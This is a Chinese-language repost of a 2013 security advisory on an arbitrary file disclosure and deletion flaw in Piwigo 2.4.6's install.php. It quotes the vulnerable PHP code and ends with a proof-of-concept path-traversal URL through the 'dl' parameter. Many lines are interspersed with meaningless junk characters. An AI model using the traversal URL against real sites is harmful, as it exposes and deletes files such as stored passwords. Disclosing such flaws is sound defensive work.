Piwigo任意文件泄露和任意文件删除漏洞

admin

Piwigo是用PHP编写的相册脚本。
9 ^& Z! @# z) {) W
* w! p& u" R0 `Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
6 q0 l3 L8 c# q7 s  y& ^====================================================================
/install.php:
-------------
7 U' H1 T6 b! i: v; Y5 n/ K113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
114: {
# H. \/ b3 J% h5 I  t3 S5 {115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
0 `$ u) W7 k0 B6 S0 W1 ?5 m- Q116:   header('Cache-Control: no-cache, must-revalidate');
117:   header('Pragma: no-cache');
) e2 Z2 h6 h- D( _) q118:   header('Content-Disposition: attachment; filename="database.inc.php"');
! l( O( l. t9 D' S5 D8 _) D119:   header('Content-Transfer-Encoding: binary');
120:   header('Content-Length: '.filesize($filename));
121:   echo file_get_contents($filename);
122:   unlink($filename);
123:   exit();
124: }
====================================================================

Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
: M& c& ?( I3 s2 j- @# {           Apache 2.4.2 (Win32)
           PHP 5.4.4
           MySQL 5.5.25a
; T8 |% M0 |7 D; E" j
" j% T6 K$ ^. G" F% lVulnerability discovered by Gjoko 'LiquidWorm' Krstic
$ Q; c& o- `( o/ ]" h* k                            @zeroscience
- K% z2 T$ h  m( ]" B. W
" W$ M1 x# Q) U4 z" K! C0 hAdvisory ID: ZSL-2013-5127
0 M, e: o& ?- j  w: dAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843

15.02.2013

' o1 R, M, ]+ n1 Y9 H* [+ G0 d' _; C--
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
2 E: F; @3 c3 M( Z) h0 f